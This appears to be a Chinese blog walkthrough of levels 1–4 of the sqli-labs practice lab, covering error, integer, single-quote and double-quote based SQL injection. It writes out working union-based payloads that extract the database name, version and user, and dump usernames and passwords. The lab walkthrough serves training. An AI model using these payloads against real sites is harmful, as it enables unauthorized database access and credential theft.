sqli-libs攻略入门(1-4)

从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞。

为了省时间,快速的学习了解SQL注入,这里使用Windows sever 2008 R2+phpstudy环境

首先需要在源代码中添加这两个语句,使网页能够回显执行的有效sql语句

echo”有效输入”.$id.”
” echo”执行的sql语句”.$sql.”

sqli-libs攻略入门(1-4)_第1张图片

Less-01 single quotes  string     单引号,字符型

正常传参

Less-1/?id=1

sqli-libs攻略入门(1-4)_第2张图片

加单引号报错,说明存在字符型注入

Less-1/?id=1'

sqli-libs攻略入门(1-4)_第3张图片

猜字段,--+用来注释掉查询语句最后的那一个单引号,也可以使用—'来闭合后面的单引号

Less-1/?id=1' order by 3 --+

sqli-libs攻略入门(1-4)_第4张图片

由上一段猜出的字段数使用union查询,发现并没有回显位

Less-1/?id=1' union select 1,2,3 --+

sqli-libs攻略入门(1-4)_第5张图片

查看源代码得知,引用了一次mysql_fetch_array()函数

sqli-libs攻略入门(1-4)_第6张图片

 

所以我们是第一行为空,即union左边的查询为空,id=-1

Less-1/?id=-1' union select 1,2,3 --+

 

sqli-libs攻略入门(1-4)_第7张图片

此时就可以真正的开始查询数据库中的数据,因为只回显了2和3,我们就只能修改2,3位置,但只靠这我觉得应该是不够的,这时候就需要使用到数据库中的连接函数

 

Less-1/?id=-1' Union select 1,concat(char(32,58,32),database(),version(),user()),3—'

 

sqli-libs攻略入门(1-4)_第8张图片

这里需要说一下information_schema,这是系统数据库,安装完成就会有,它记录着所有数据库,表,列,用户权限等,下面再说一下常用的几个表

SCHEMATA表

储存着mysql所有的数据库信息,show databases的结果就是取自这个表

TABLES表

储存的数据库所有的表信息,表是基本表还是系统表,创建时间,数据库的引擎是什么,表有多少行等,show tables from mysql的结果就是取自这个表

Columns表

储存这数据库所有的列信息,show columns from mysql.user的结果就是取自这个表

这里还要说一点,group_concat函数可以显示出所有查询的所有数据,limit只显示某一行

查询库名

sqli-libs攻略入门(1-4)_第9张图片

查表

sqli-libs攻略入门(1-4)_第10张图片

可以看到有个users表,查列

 

sqli-libs攻略入门(1-4)_第11张图片

好,有用户名和密码列—char(32,58,32)是冒号,便于分开账号和密码

Less-1/?id=-1' union select 1,(select group_concat(username,char(32,58,32),password) from security.users),3%23

sqli-libs攻略入门(1-4)_第12张图片

以下相同点不在赘述,有不一样的再详细研究

Less-02 intiger based  整数型

Id=2-1回显正常

sqli-libs攻略入门(1-4)_第13张图片

猜字段长度,4个长了

sqli-libs攻略入门(1-4)_第14张图片

还是3个

sqli-libs攻略入门(1-4)_第15张图片

库表列,账号密码,方法同Less-01

sqli-libs攻略入门(1-4)_第16张图片

Less-03 单引号闭合

字符型,需要闭合前面的单引号,--+注释或者—‘闭合掉后面的单引号

sqli-libs攻略入门(1-4)_第17张图片

回显出

sqli-libs攻略入门(1-4)_第18张图片

Less-04 双引号闭合

sqli-libs攻略入门(1-4)_第19张图片

系统查询语句后面的双引号使用--+注释掉或者使用—(“闭合掉

你可能感兴趣的:(靶机-sql注入篇)